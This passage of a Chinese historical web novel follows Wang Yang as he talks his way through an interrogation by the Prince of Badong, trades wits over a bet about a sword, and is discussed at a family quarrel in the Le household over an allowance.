《关于南朝贵公子是我冒充的这回事》 第213章 问罪 王扬走了一会儿,谢星涵才缓过神来,她转过身,看向阿五和小珊。 小珊尚沉浸在王扬刚才的画面中而不觉,可阿五却生出种不好的预感,她露出一个灿烂的笑容:“谢娘子想喝什么茶?阿五去沏!” 谢星涵微笑,缓声道:“阿五,是谁教你背《后汉书·南蛮传》这个六字的?” 阿五笑容不变,眨着大眼睛:“是西沙洲的刘虬先生啊!” “哦?你学得这么快,都教《后汉书》了?” “不是,是先生随口一提,阿五就记住啦!” 谢星涵星眸微眯: “随口一提就记住了?那你跟你家公子一样,过耳不忘呢!” 小阿五咽了口口水,强作镇定道: “阿五怎么能和公子比呢?但阿五记住了很多,刘虬先生还说过史记西南夷列传!还有,汉书、汉书......” 谢星涵笑容渐渐消失。 小阿五只觉压力陡增!一下子就慌了神!把王扬教她应答的词给忘了! “哦!还有汉书西南夷两粤......” 小阿五刚理顺思路,准备继续答时,谢星涵已经走到陈青珊面前: “陈姑娘,你说在京中听过几个名头很响的才女,但名字有点记不清了。那能记住的有谁?” 陈青珊脸一红,小声道:“我......我记不清了。” 谢星涵笑容满满:“所以,是只记得我一个人吗?” 陈青珊张口结舌:“我......我得去练剑了。”然后迅速逃走! 小阿五正跟小耗子似的,准备悄步溜出院子,却被谢星涵叫住,笑容可掬道: “阿五啊,你的中锋还是不正啊,趁现在有时间继续练字吧!先写五百个字练练手。” 阿五:(╥﹏╥) ....... 天红日暮,巴东王府。 厅堂上,巴东王一身白寝衣,高坐上首,左腿平放,右膝竖起,手臂随意搭在膝头,拿一柄环首长刀,正以紫绸布缓缓擦拭。 左右黑甲亲兵,按刀而立,如两列铁铸雕像一般,从王座下,一直延伸至门口。 整个厅堂静得可怕,空气仿佛凝固一般,沉重下坠,令人窒息。 王扬迈步而入,脚步声这片寂静中格外清晰,他刚一进厅,身后大门便吱呀一声,缓缓内合,然后砰的一下,厅堂内的烛火猛然一晃,大门完全关闭,切断了与外面最后一丝联系。 王扬穿行在黑甲卫中,神情自若,步履稳健,仿佛对周围压抑冷肃的气氛毫不在意。 巴东王嘴角微微上扬,露出一抹似有若无的冷笑,待王扬走到一半时,突然锵的一声,回刀入鞘! 刹那间, 所有士兵齐声大吼! 声浪如汹涌的潮水,在封闭的厅堂内轰然炸开:“杀!!!!” 卧|槽! 王扬被这突如其来的一下子吓得一激灵,条件反射般向后蹦了一大步! 巴东王不屑讥嘲道: “还以为你胆子有多大?原来像只兔子似的往后蹦。” 众军士皆哂笑。 这句话可不好答。 与巴东王相处,过柔则不入他的眼,过刚则容易和他结怨。 现在巴东王摆出这阵势来,明显要给王扬下马威,要是直接认怂,接下来便更会被拿捏;要是强硬回骂,惹怒亲王,吃亏的还是王扬自己。 若两者取其中,不带情绪地阐明道理,说些“人非草木,突然被吓,举止失措乃人之常情”什么的,则显得呆头呆脑。 还有一种对应是装作浑若无事,以经典强行挽尊。比如扯一扯《论语》谓孔子‘迅雷风烈必变’,《易传》言‘君子以恐惧修省’什么的,要之在侃侃而言,有理有据。 这最后一种应对方式要分对象和情形,若对面之人尊崇学识,又有礼贤下士之意,则很可能收到好的效果,说不定能说得对面起而谢罪,倒履相迎。 但巴东王明显不吃这一套,并且现在是有意扫王扬面子,这招即便用出来,也只会自取其辱而已。 所以以上几种方式,王扬都没有用。他微微一笑,向巴东王拱手道: “我胆子确实不算大,突然被这么一吓,直接就往后蹦。若换作王爷,那一定是向前蹦的。” 好几个军士都没收住,险些乐出声来。还有几人低头抿嘴,明显是在强忍笑意。 巴东王差点也没绷住。 这句回答妙就妙在你说它讽刺吧,也是讽刺,说王爷被吓得蹦,难道不是讽刺?只是没加“兔子”两个字而已。但你要说它是捧人吧,也能算捧人,毕竟人家都说了,王爷蹦也是往前蹦,好像确实抬了一下王爷身份。 更重要的,这句话其实在无形中点明了一个事实,就是任何人被这么突然一吓,都可能蹦,没什么可讥嘲的。这可比直接说道理高明多了。 巴东王将笑意压了回去,脸色阴沉得可怕,虎目一瞪,声音陡然拔高: “王扬!你搅动士庶,祸乱荆州,该当何罪?!” 王扬眨巴眨巴眼睛,无辜道:“王爷,你说的这是刘寅吧?” 巴东王手掌一翻,刀鞘拄地,身子前倾,烛火在他身后摇曳,将他的影子拉得极长,仿佛一头巨兽。 他盯着王扬,目露凶光: “你有几条命,敢在本王面前玩花样? 你是不是以为,凭你有个姓氏,本王便不能动你? 借本王的刀杀人? 你就不怕刀尖一转,把自己给捅了? 若真捅了你,你猜猜看,你那个姓氏,能替你嚎几声?” 他声音虽低了几分,却带着一股令人毛骨悚然的寒意,强大的压迫感让在场甲士都不敢大声喘气。 王扬了无惧色,直视巴东王: “姓是不会叫的,只有姓这个姓的人才会叫。 王爷的刀捅一个人容易,但想捅穿琅琊王氏的族谱,还差点意思。 当然了,王爷也没说要捅我,只是这话听着,让人心寒。 说实话,我今天来这儿,本以为王爷要好酒好菜招待我的......” 巴东王被气笑了:“好酒好菜?你算计人都算计到本王头上来了?居然还想要好酒好菜?” 王扬马上正色道:“王爷,话要说清楚,我不是算计王爷,而是为王爷算计!” 巴东王冷笑:“为本王算计?你倒是说说,你为本王算计什么?” “让这些人出去,我把话说明白。” 巴东王不语。 王扬笑道:“我书生一个,就算王爷要对付我,也没必要摆这么大阵仗。” 巴东王挥手,众军士退下。 王扬朗声道: “想当初,我找王爷说过,刘寅要对付我。王爷也答应帮忙,所以给我弄了个白衣参筹常平仓务,非王令不奉调,非刺史府不听传。但刘寅居然用典签令状,越过王爷监察。王爷试想,如果他真查到我有问题,王爷是不是要担偏袒之责,失察之罪? 所以刘寅针对的是我一个人吗?当他决定对我下手的那一刻,他就已经把剑对准王爷了!取我之命,寻王之过,此乃一箭双雕之计!所以我除刘寅,固然是为我自己,但也是为王除害!” “本王说的是刘寅吗?本王说的是你竟然敢用那批货来设局!这是你的货吗?你有权处置吗?若有差池,你能承担?!” 巴东王声色俱厉地质问道。 王扬理直气壮,大声反问道: “那我问王爷一句,这不是我的货,是谁的货?!” 操! 巴东王惊呆了。 有那么一瞬间,他以为王扬要吞他的货! ———— (伪注:巴东王觉得王扬要黑吃黑,狠如曹操,所以心中再次喊了个操字。抚今思昔,不胜唏嘘。) 第214章 倒反天罡! 王扬一扬折扇: “王爷把这批货记在我的名下,不就是为了掩人耳目吗?现在刘寅这么一闹,所有人都知道这批货是我的!官府也有了备案!谁还能有怀疑吗? 更何况我还用柳惔办了货牒、公验,给这批货走了明路! 这就相当于用河东柳氏做担保! 到时堂堂正正出货,完全不会和王爷产生瓜葛,难道不好?! 我已经探明,现在雍州绸缎行价很好,离荆州又近,等货一齐,王爷直接用我办好的货牒、公验,把绸缎贩到雍州去,保管水到渠成,王爷到时只要坐着收钱就好,这中间省了多少麻烦?” 这就是王扬之前巧策排雷的好处了。 若非他提前铺垫,用“私仇框架”去了巴东王的疑心,这次巴东王难免会再生联想,毕竟王扬安排的假戏,就是把丝绸运往蛮族。现在王扬又摆出公验、货牒的安排,一副真心实意为巴东王生意考虑的样子,这个“释疑”效果就更好了。 巴东王听到最后,脸色稍霁,冷哼一声:“那你的意思是,你不仅无过,反而有功了?” 王扬斩钉截铁,不容置疑:“那当然!” 巴东王一指王扬,瞪眼道: “你还敢说!刘寅是王兄的人!现在出了这么档子事,你让王兄的脸面往哪放?王兄若来质问,你让本王如何回答?!” “让庐陵王丢脸面的,不是我,更不是王爷,而是庐陵王自己养的那条狗! 狗发疯乱咬,搅得人家院子里不得安宁,这是主人没拴好的缘故,能怪得了别人吗? 所以庐陵王不仅不会质问王爷,反而得向王爷道歉!但这不是最主要的!” 王扬越说越激动: “最主要的是我替王爷扳倒了典签吴修之! 此人是王爷所憎吧?告了王爷多少刁状? 这次和刘寅勾结,联手出招,他要对付的是我吗? 他是项庄舞剑,意在沛公! 我用此案把此二人一起套了进去,现在长史、典签,双双待罪! 荆州之内,王爷之势最盛! 此谁之功也?! 王爷不叙我的功劳也就罢了,居然还兴师问罪!说什么刀尖捅人的话! 心凉啊!!!!” 王扬捶了捶胸口,神色悲愤!大有忠而见疑,洁而蒙污之态! 他深吸一口气,声音低沉: “我设此局,的确为了自保。 但在自保之外,却努力为王爷谋划! 没想到一片赤诚,竟换得王爷这几句话......” 说罢苦笑摇头,神色落寞。 身影在厅中显得格外孤寂,仿佛一片落叶,随风飘零,无人问津。 王扬知道戏过了。 但他要的,就是戏过! 不戏过就假了,不戏过意思就是真把怨气埋进心里了。 借了巴东王的刀还要怪巴东王辜负忠心,功过不辨,那就是不知好歹!是矫情! 戏过符合王扬在巴东王面前一贯的人设,更市侩,也更真实,并且以夸张戏谑的方式,冲淡方才紧张与对立的气氛,更能拉近与巴东王的距离。 这是摆明了要套路你,但你还不怎么生气,因为套路一旦摆明,反而不成其为套路。欺骗一旦大张旗鼓,反而不构成欺骗。 当然,这是一种更深层的套路和欺骗。只不过大多人在看穿一层之后,就失去了戒心,以为对方的小心思被自己瞧得清清楚楚,实际上,他只是看到了一层假象而已。 巴东王见王扬似乎还要酝酿眼泪的样子,实在看不下去,摆了摆手道: “行了行了,差不多得了,若没本王护着你,你还能在这儿‘一片赤诚’吗?” 什么护着我,你那是不得不护,外加顺水推舟。 王扬见好就收,借坡下驴,立即拱手道:“多谢王爷,我......” 巴东王打断王扬的话: “诶!谢要有诚意!别空口白牙地谢!本王为了你,抓了长史,得罪王兄,你说说,要怎么谢本王啊?” 王扬扇子一合,回点胸膛,表情严肃: “我用万全之策、千般热忱、百折不挠、十分周全,外加一片丹心!谢王爷相护之恩!” 巴东王笑骂道: “你小子少跟我胡扯!本王不是竟陵王,不吃你这一套!这样吧.....” 他伸出一根手指: “一百万。你出一百万钱,算作本王帮忙一场的谢礼。” 哎呦我去! 倒反天罡啊!!! 我还没坑你,你先坑起我来了? 巴东王看着王扬,认真道: “这不算多吧?光我给你丝绸生意,你赚了多少?你又弄了个招标,又捞了不少。你琅琊王氏的命,值多少钱?难道一百万都不愿意出?” 王扬爽朗一笑: “好说!王爷豪爽,我王扬也不差事儿!一百万没问题!对了王爷,那我扳倒长史、套住典签,为王爷一举扫除两害,如此大功,王爷赏我两百万钱,这不算多吧?” 巴东王瞪着眼珠子: “两百万?你做梦呢!你咋不要两千万呢?!” “两千万也不是不可——” 巴东王马上道:“没有没有!一文也没有!” 王扬叹了口气:“王爷你看,你这儿不豪爽,我也豪爽不起来呀!” 巴东王还就不信从王扬身上一点都薅不到! 他大手一挥: “这样,你也别说两百万,我也别说一百万,我是出动王府的护卫亲军,硬闯的郡狱,这才救的你,出兵的军费,你总得出吧?一口价,你给我五十万!这事就算了了!” 王扬折扇一甩: “这样,王爷也别说五十万,我也别说两百万,我是以身为饵,亲自入的郡狱,这才钓的刘寅和吴修之,这冒着生命危险搏出来的功劳,王爷总得赏吧?不还价,王爷给我一百万,这功就算酬了!” 巴东王恼道:“门儿都没有!想都不要想!” “王爷别生气,犯不上。军费五十万,赏功一百万,王爷应该欠我五十万——” 巴东王急了,刚要说话,便见王扬一脸大义: “但这五十万,我不要了!王爷你就帮我定两套香雪楼的‘万钱下箸肴’,送到我家里,就算给我压惊了。” 巴东王都听傻了,这他娘的琅琊王氏出个奇才啊,这厚颜无耻的功夫自己都自叹不如! 他嘴角抽了抽:“合着你小子是一毛儿不拔呀!借我的刀杀人,完了我还得请你吃饭???” 王扬大度道:“王爷如果想来吃也可以。” 巴东王抽了一口气,眉毛挑起,身子后仰,正要发怒,突然表情一松,一脸坏笑道: “那这样,咱们就以‘万钱下箸肴’为赌,我出一道题,你要答上,我送你两套,你要答不上,你送我两套。” 王扬无语至极:“又来?” 巴东王兴奋至极:“来来来!本王就不信了!一局都赢不了?!” 他四下看了看,目光落在座旁的那柄环首长刀上。当即嘴角一扬,抓起长刀,刀鞘在手中一转,“咔”的一声立在地上。 他看着王扬,眼神挑衅,笑容得意: “你可以过来与本王动手,也可以游说本王,只要你能让本王主动把这把刀拔出鞘来,就算你赢!” 王扬睁大眼睛:“这算什么题?!” 巴东王愈发得意:“就这个!没办法就算你输!你别耍赖啊,赶紧给本王叫菜去!本王今晚要吃香雪楼!” “这题目没时间限制啊!是三天之内还是怎么着,起码得有个说法吧。” 巴东王看着王扬,笑意浓烈: “说不说法你也输定了!就算你定一个月也没用!这口刀本王直接封存,任何情况下都不用,本王又不是只有这一口刀哈哈哈哈!” 王扬眼睛一眨,面带傲色: “这题出得不公平,不过让王爷拔刀虽然困难,但若换成让王爷主动把刀插回鞘里,那却容易得很!” 巴东王有些好奇: “哎呦!那本王倒要看看你怎么能让本王把刀插回鞘里!” 巴东王拔刀出鞘:“来来来,今天本王就让你输个心服口服,你让本王插回去试试!” 大不了这刀就一直不回鞘,他能奈我何! 巴东王觉得自己这次是赢定了。 王扬扇柄在空气中划出一道优雅的弧线,一指长刀,微笑道: “王爷,我这不就让你主动把刀拔出来了吗?” 巴东王一愣,顿时大怒,马上收刀回鞘:“不算不算!你这是骗人!” 王扬手腕一抖,折扇展开,悠悠笑道:“王爷,我又让你主动把刀插回去了。” 巴东王懵了。 第215章 愿者上钩 “那王爷,我先回家等席面了。” “你等等!”巴东王没好气地叫住王扬,然后吩咐侍从道:“书。” 侍从捧书而至,巴东王拿到手中,随意翻着,问道:“南蛮统考,你写的?” 王扬一听便知,这是小登听说他下了狱,所以提前放书,以增加他在巴东王面前的筹码。 下个月就到丝绸交货的时候了,巴东王搞不好会灭口,所以现在可不能韬光养晦,而应该展现价值。这也是王扬不避讳在巴东王眼皮底下算计长史、展示智谋和声势的一个重要原因。不过展示也要有度,明牌暗牌,各有作用,或藏或显,存乎一心而已。 王扬道:“是我写的。” 巴东王看着王扬,目光审视:“你还懂蛮学?真是深藏不露啊......” “王爷过奖了。我也是略懂而已。” 按照萧宝月的设计,在这里王扬便要主动抛出诱饵。但王扬给否了,不仅否了,还把萧宝月的原定话术,大刀阔斧地修改了一番。 “略懂就写成书了?” 王扬一笑:“写书不难,写好书才难。” 巴东王盯着王扬:“那你这书写得如何?” 王扬顿了顿,说道:“还不错。” “哈哈哈哈!王扬,你小子有意思!对本王的脾气!你二十岁时就在本王军府起家,南中郎板行参军这个位置,本王给你留着。” 这个是之前两人的约定,但那时巴东王未必有多少诚意,说不定还存了灭口的想法,所以很可能没想过履约。现在旧事重提,倒多了几分真诚。 “多谢王爷!那王爷,我这就告辞了。”王扬再次流露出要走的意思。 “你急什么!” “一会儿香雪楼的席面到了,我回去晚了这口感......” 巴东王白了王扬一眼:“你瞧你那点出息!区区万钱下箸肴而已......” 王扬立即道:“那王爷明天再——” 巴东王深知王扬顺杆爬的本领,马上打断道: “之颜啊,现在南蛮校尉府都裁撤了,你研究蛮学做什么?” 对嘛。根本上不需主动抛饵,巴东王做贼心虚,岂能不问? 王扬道:“朝廷有可能在荆州开蛮路贸易,我叔父要我跟着谋划一下,所以——” 巴东王脸色一变,立即问: “朝廷要开蛮路?什么时候的事?本王怎么不知道?” “没有没有,只是几个人小范围的草议,尚未形成决策。最后是否上报,是否实施,都是未知数。” 巴东王神色不定: “此议不妥当吧。蛮子粗野凶暴,岂能通商?这不是资敌吗?” 王扬没有详细解释,只是简单道: “想要打入蛮人内部,一以兵,一以利,既然不便动兵,那就用利。以利导之,以利驯之,以利化之,说不定能收奇效。” “这是你叔父的主意吗?” “是。” “哪个叔父?王散骑吗?” “是。” 萧宝月让王扬尽管往王揖身上推,她有办法能圆谎。王扬虽猜到了几分,但尚不能百分百确定。不过小登既然前后设计得这么清楚,那自然是有准备的。 巴东王把玩着刀鞘,状似随意地问道: “这个草议现在进行到哪一步了?” 王扬故意迟疑了一下,语气为难: “这个......我也不是很清楚。” 巴东王皱眉: “怎么?和本王还藏着掖着?怕本王泄密啊?” 王扬推脱道: “王爷言重了,此事也没什么可保密的。只是事还没成,各种细节尚在商讨之中,我便是说了,也未必作得准。不如等敲定之后,再向王爷禀报。” 巴东王耐住性子道: “不用作准,就是闲聊,最近柳憕被劫的事搅得本王心烦,也在想治蛮的办法,刚才听你说通商,觉得有点意思,所以有些好奇,你尽管说,不用顾忌。” 王扬便把之前和萧宝月说过的治蛮方略,捡了几条扩展开来讲,多思路而少实际,主要是渲染通商这个理念,一番话说得煞有介事,体系严密,彷佛已然??经过了重重讨论,听得巴东王一愣一愣的。 “......其实整个过程我不是了解得很详细,叔父虽然常和我探讨蛮事,但谈得都是具体问题,不及其他。所以我也不知道现在进行到哪一步了,不过叔父已经最后圈定了三处蛮部,让我了解一下情况,看看哪一部合适作为试行之所,我想既然已经论及试行,那大概是准备得差不多了。” “嗯......本王早听说令叔通于蛮事,今日听你所言,果真是名不虚传!尤其是考虑周全,先选试行之地,这个好!行不行先试试看,就算出了问题,范围也小,好补救。” 王爷,你这话套得不高明啊...... “王爷谬赞,叔父常说,治蛮不可一蹴而就,须要步步为营 。” “说得好!步步为营!本王治荆,深知蛮人脾性。若是没有万全的准备,贸然行事,很容易出乱子的。” 王扬见巴东王绷着一脸“快问我”的表情,心中暗笑,嘴上简单答道: “王爷所言极是。” 巴东王见王扬不问,只好装作若无其事的样子,问道:“那令叔选的是哪三个蛮部啊?” 王扬略微一顿,答道:“是宜都蛮、武宁蛮和永宁蛮。” 巴东王心中一跳,握着刀鞘的手指微微收紧了几分,然后迅速恢复如常,移开目光,语气随意:“你准备选哪一部?” 王扬叹了口气: “惭愧,我还没选出来。我对这三部了解有限,所知多是历史旧闻,至于近况如何,还需进一步查访。” 巴东王一喜,刚准备开口,却又闭上,想了想道: “这三部本王也不了解,你查查看吧。” 哎呦,沉得住气呀。 好,那我也不急。 王扬刚应了一声,便听巴东王补充道:“不过孔长瑜最知道这些,你有什么疑问,可以问他。” 上钩。 王扬语气略感惊讶:“孔先生竟知蛮事?” “他文章虽酸,但这方面的本事还是有的。你若有意,本王便让他明日去你府上。” “王爷如此关照,扬感激不尽!” ...... 王扬走后,巴东王立即召见孔长瑜...... “明日你想好说辞,一定想办法让他避开要紧的那个部族,其余两个随他选去。” 孔长瑜不语。 巴东王不满地敲了敲桌案。 孔长瑜醒过神来,赶紧拱手谢罪。 巴东王不悦道:“你听没听到本王的话?” “听到了,但王爷,有没有这种可能......王扬是提前知道了那件事,然后故意来探虚实的?” 巴东王一愣,细细想一番,说道:“本王虽然觉得不像,但你说得对,不得不防。你有什么想法?” “待交货后,即刻......”孔长瑜手掌一划。 巴东王摆摆手: “本王改主意了,这个人才学好,没根基,人也有意思,可以用。” 孔长瑜一惊:“王爷,这不妥吧!留下他就是留下把柄啊!” “那你要这么说,本王留你不是也留个把柄?” “这......”孔长瑜张口结舌,一时间竟说不出反驳的话来。 巴东王笑着拍拍孔长瑜肩膀: “开玩笑的。你的忠心本王知道,他如何能和你比?只不过此人通晓蛮事,又善治生,学问又好,要成大事,这样的人才岂能不用?” 孔长瑜眉头紧锁,神色忧虑:“只怕他未必与王爷同心呐......” 巴东王一笑:“他是有些滑头,不过贪财好利,志在功名,又早向本王求过南中郎板行参军的位置,现在有本王这个靠山,他能不靠?至于有点小心思,只要不犯忌讳,也没什么大不了的......” “王爷,人心难——” 孔长瑜还要再劝,却被打断。 “河东柳刚出事,再死个琅琊王,太扎眼。” “可——” “好了,动不动手本王自有主张,不必再议。你就只说针对王扬的这番话,采取什么对策就好。” 孔长瑜只好暂时放弃劝谏,微微低头,斟酌片刻,说道: “下官建议,一方面打探朝廷动向,看看有没有什么风声透出来.....” 巴东王道:“这个自然。” “另一方面,他既然可以探王爷的虚实,那下官自然也可以探他的虚实。” “你分寸要把握好,他本来可能什么都不知道,你不要弄巧成拙,反而让他有所怀疑。” “下官会小心行事,绝不让他察觉端倪。” “你要在保密的同时防止他挑中那个不该挑的部族,如果办不成这件事,就不要回来见本王。” 孔长瑜躬身拱手:“定不负王爷所托!”想了想,还是觉得灭口稳妥,便再次进言道:“王爷,下官以为人心难——” 咵! 一个冰冷的硬|物撞进孔长瑜怀中,把孔长瑜吓了一跳!低头一看,手中居然多了一柄环首长刀!然后便见巴东王笑得阴险: “瑾怀啊,打个赌怎么样?就赌本王能不能让你主动把刀拔出来......” 孔长瑜愣了一下,没等巴东王说完,马上跪倒叩头: “是下官失言!求王爷恕罪!求王爷恕罪!!!” 巴东王也是一愣,疑惑道:“你做什么?” 孔长瑜哆哆嗦嗦地捧起长刀,颤声道:“王爷是不是要让下官自裁?” 巴东王:...... 第216章 败家子 暖日花红,绿结阴浓。 夏风挟着花香,拂动满园密密匝匝的叶子,发出簌簌声响。阳光在绿荫间筛落成点点光斑,顽皮跳动。 乐家凉亭里,乐湛一身素袍,神情惬意,手持毛笔,在纸上游走,边写边出声道: “倚翠红英向人招, 新嫁绸缪挽碧梢。 小蝶轻叩羞颜色——” 乐湛停笔凝思,正要捕捉灵感时,被乐小胖打断。 “爹!” 只见乐小胖站在亭子外,规规矩矩行了个礼,笑容讨好。 乐湛皱了皱眉,语气微带不悦:“功课做完了?” “都做完了,先生还夸我有进益呢!” 乐湛不信地哼了一声。 乐小胖堆着的笑:“爹,我想支点......” 乐湛立即摆手打断:“不可能,想都不要想。” 乐小胖苦着脸:“爹——” 乐湛一指儿子:“咱们有言在先,什么时候把你砸斗鸡馆、买银胡瓶、烧白貂褥,还有在芙蓉里那些乱七八糟的欠账清了,什么时候给你发月钱!在此之前,你别想支一文钱!” 乐小胖都要哭了:“可是我一点钱都没有,怎么和朋友出去啊!” “狐朋狗友的,出去什么?好好在家用功!” 乐小胖故意震惊道:“王扬也算狐朋狗友?!” 乐湛一愣:“你要和王扬出去?” 乐小胖挺胸抬头:“是啊!王扬受惊一场,我请他吃个饭,压压惊。” 乐湛脸色好了一些,招手道:“你过来。” 乐小胖知道老爹改了主意,欢欢喜喜地进了凉亭。 “我听方仁说你最近在学写诗,你看看我这首诗,第四句怎么接?你要是接得上,我就让你支钱。” 方仁是乐湛为乐小胖请的教席,自从乐小胖在芙蓉里和人大打出手后,便被乐湛拘在家中读书,月钱什么的一应贴补都给扣了,专为上京做准备。不过出于乐夫人的安排,小胖自己并不知道要上京的事,还以为就是因为老爹震怒,所以要对他严加管教。 乐小胖听了接诗的要求,笑容顿垮。上次山庄联句被王扬他们帅到了,再加上银诗事件吃了个大亏,所以这段时间确实在跟方先生学作诗,只是时日尚短,肚子里的墨水又有限,水平实在一言难尽。 乐湛见儿子畏畏缩缩的样子,心下不喜,语气略带严厉: “怎么?学了这么久,连一句诗都接不上?接不上就回屋,钱的事免开尊口。” 小胖只好硬着头皮上前,低头默读:“倚翠红英向人招,新嫁绸缪挽碧梢。小蝶轻叩羞颜色......” 他看着纸上的句子,脑子里一片混乱。 倚翠红英,英就是花,那红英就是树上的红花呗!那咋又和‘新嫁’扯上关系了?还有这个绸缪是啥意思?梢字在哪一韵部来着? 乐湛等了一会儿,见儿子还是一副便秘的模样,意兴阑珊,挥手道: “罢了罢了,回去好好用功吧,什么时候能接我的诗了,什么时候再提支钱的事。” 小胖心中咯噔一声,马上道:“我会我会!”也不管三七二十一,便胡乱接道:“家里有只大花猫。” 乐湛气得一口老血差点喷出来,瞪眼怒道:“我看你像只大花猫!” 小胖喵喵两声,憨笑伸手:“爹,说好了,接上就给钱,又没说接得好不好,我可是接上了。” 乐湛懒得纠缠,只想马上把儿子打发了,便问道:“你要多少钱?” 小胖嘻嘻笑道:“给两万就行。” “多少?!”乐湛眉毛一立。 乐小胖心虚:“一,一万也行。” “你吃饭要一万?” “我请他去香雪楼啊!” 乐湛一下火了:“还香雪楼?你现在还有脸吃香雪楼吗?!你砸斗鸡馆说‘砸多少你照赔’的时候怎么不想着吃香雪楼?买那破银胡瓶的时候怎么不想着吃香雪楼?现在想起吃香雪楼来了?!” 鎏金银胡瓶,原产中亚,出土于宁夏北周李贤墓,现藏宁夏固原博物馆,瓶身所刻三组浮雕,乃(转正文) (接上图说明:乃希腊神话“帕里斯裁判”和“特洛伊战争”中的内容,造型是波斯萨珊王朝风格,此类胡瓶一般都是通过河西走廊输入我国的,故而多在北方,小胖在江南买到此物,其价格上翻,可想而知。) 乐湛越说越怒,看着像鹌鹑似的儿子,压住火气,冷声道:“朋友之间不需要讲那些排场。我借你三千,还是从你月钱里扣。” 乐小胖急了:“三千哪够啊!也不能光吃饭啊!” “给你加一千,赶紧消失。” 乐湛埋头诗稿,不再看向儿子。 小胖哭求道:“您哪怕给个八千也行啊!四千根本不够使!” 乐湛不耐烦:“滚滚滚。” 小胖苦苦相求,乐湛连话都懒得说,直接无视。 小胖破罐破摔道:“好!不给就不给!大不了我把车卖了换钱!别人问,我就说淯阳乐氏没钱坐车,只能走路!” 乐湛火冒三丈:“你敢?!反了你了!” 小胖气冲冲地向外走,嘟囔道:“有什么不敢的?淯阳乐氏,出去吃个饭都没钱!哪有钱坐车?” 乐湛大怒:“来人!将这个逆子拿下!” 小胖赶紧开跑,然后就被两个侍卫驾轻就熟地按住。 乐湛吼道:“取我藤条来!今天我不打折这个逆子的腿,我就对不起祖宗!!!” 四周下人见乐湛这次是真被气坏了,谁也不敢相劝。乐小胖也感觉这次把老爹气大了,心中害怕。 “藤条!藤条呢!怎么还不来!” 乐湛怒不可遏,连声催促。 此时乐夫人匆匆而来,乐小胖忙喊道:“母亲救我!母亲救我!” 乐夫人瞪了儿子一眼。 “夫人不要劝!这个不成器的逆子,就是打死也不为过!”乐湛说罢怒视下人:“藤条呢!快把藤条拿来!!!” 下人们不知所措,乐夫人给他们打了个手势,然后向乐湛道:“夫君别急,我已经叫人去买藤条了。” 乐湛气得胸膛起伏,粗声道:“还买什么?!家里不是有吗!” “那根都快打断了!打起来没几下就折了,有什么好打的?这次我让人去山里挖百年老藤来,再找厉害的匠人,编成那种最硬最粗的藤棍,打他个人仰马翻!” 乐小胖都吓得呆住了,这儿子是亲的吗!!! 乐湛急道:“这现去编如何来得急?!” 乐夫人微微笑道:“是啊,这编藤条呢和打孩子一样,现编来不及,现打,也来不及啦。” 乐湛、乐小胖俱是一怔。 乐夫人语气温婉: “夫君,你是一州别驾,平日里处理政务、调解纠纷,哪一件不是从容不迫、游刃有余?怎么到了自家孩子的事上,反倒失了分寸呢?” 乐湛怒气稍缓,正要给妻子好好说一下原因,乐夫人已经看向儿子,斥道: “都是你把你父亲气的!一州别驾给你气成这个样子,你可真有出息!还不快给你父亲认错!” 乐夫人一个眼神,两个侍卫赶紧松手。 乐小胖如逢大赦,连忙下跪磕头:“爹,儿子错了。儿子一时糊涂,没想惹您生气。” 乐湛哼了一声,没有说话。 乐夫人道:“夫君坐,我来问他。”然后向乐庞板着脸道:“到底什么事惹你父亲生气了?” 乐小胖也不敢起身,跪着跟母亲说了缘由。 乐湛道:“你别听他瞎说!他就是用之颜当幌子,拿了钱出去鬼混!” 乐小胖叫冤道:“真不是!” “你还敢说!” 乐夫人安抚住丈夫,问道:“你要多少?” 乐小胖小心翼翼:“八......六千钱......” 乐夫人道:“我给你三万。” 乐小胖、乐湛同时震惊! 乐湛急了:“这如——” 乐夫人把手搭在丈夫手臂上,不动声色地捏了一下。 乐湛虽满腹火气疑问,却也强行让自己闭了嘴。 “阿母,你懂我!” 乐小胖感动地快哭了。 乐夫人看向儿子,严肃说道:“只一句话,不许带王扬去妓馆。否则今后休想踏出家门半步!” 乐小胖见母亲说得郑重,忙小鸡啄米似的点头:“不敢不敢,儿子记住了!” 乐夫人这才缓和了神色,吩咐侍女道:“阿霜,带少爷取钱。” 乐小胖又向父母磕头行礼,然后欢天喜地地去了。 乐小胖离开后,乐夫人走到石桌前,低头看丈夫写的字。 乐湛屏退下人,着急问妻子道: “你怎么给他这么多钱?这不是让他越来越纨绔吗?!” 乐夫人目光还在诗稿上,一笑说道:“纨绔就一定不好吗?” 乐湛脸色一变:“夫人你——” 乐夫人看向丈夫,缓缓诵道:“‘先主不甚乐读书,喜狗马、音乐、美衣服。’‘好交结豪侠,年少争附之。’” 乐湛只觉荒唐:“这逆子如何能和刘备相提并论?!” “高儿自然是不能了,不过......” “不过什么?”乐湛疑惑地看向夫人。 乐夫人沉吟片刻,没有继续说下去,转而道: “高儿长处不多,但为人豪爽,不吝啬,会玩,敢玩,这是很多人及不上的。既然咱们不是缺钱的人家,那何不助儿子扬长避短呢?” 乐湛焦虑道:“可他败家的这事儿......” 乐夫人看向树上红花,目光悠长,喃喃道: “败得不值叫败家;要是败得值,那就是兴家了......” 乐湛咀嚼着这句话,若有所思。 乐夫人拿起笔,在丈夫的“倚翠红英向人招,新嫁绸缪挽碧梢。小蝶轻叩羞颜色”之后,填上了最后一句: “一遇东风任九霄!” —————— 注:《南史·始兴忠武王憺》:“人歌曰:‘始兴王,人之爹,赴人急,如水火,何时复来哺乳我。’荆土方言谓父为爹,故云。” 第217章 温泉假日 骄阳似火,石窟清凉。 窟内洞壁穹窿,宛如屋厦;峭壁蜿蜒,分出斗室。 室里泉鸣幽幽,水声琅琅。 水光岩影之中,一方方石沼水潭,雾气氤氲。水潭间以石屏相隔,屏上悬有纱幔,幔下铺设竹席,竟是一个半天然的温泉浴场! 浴场深处,辟有几座单独的石洞,洞里白石方池,水清可鉴。日光透着石窍天窗,在水中投下变幻的光影,仿佛碎金浮沉,明灿夺目。 其中一座方池内,王扬和乐庞一东一西,身子泡在水下,仰头靠在池璧上,闭着眼,一脸惬意模样。 “我这边又进热水了......嘶......哦——” 乐小胖先是深吸一口气,然后缓缓吐出,最后发出满足又夸张的呼叫,仿佛连骨头都泡酥了。 王扬笑道:“你至于——呃......啊——” 话还没说完,王扬这边水温陡升,忍不出从胸腔深处溢出一声慵懒的低吟,好像脱胎换肉,全身都被仙法过了一遍。 乐小胖顿时止不住笑:“兄弟,你这叫得比我销魂啊!” 王扬没睁眼,艰难地调整了一下靠姿,拖着长声道: “我这一叫,二十几年的功力,你,自然是,比不了的......” 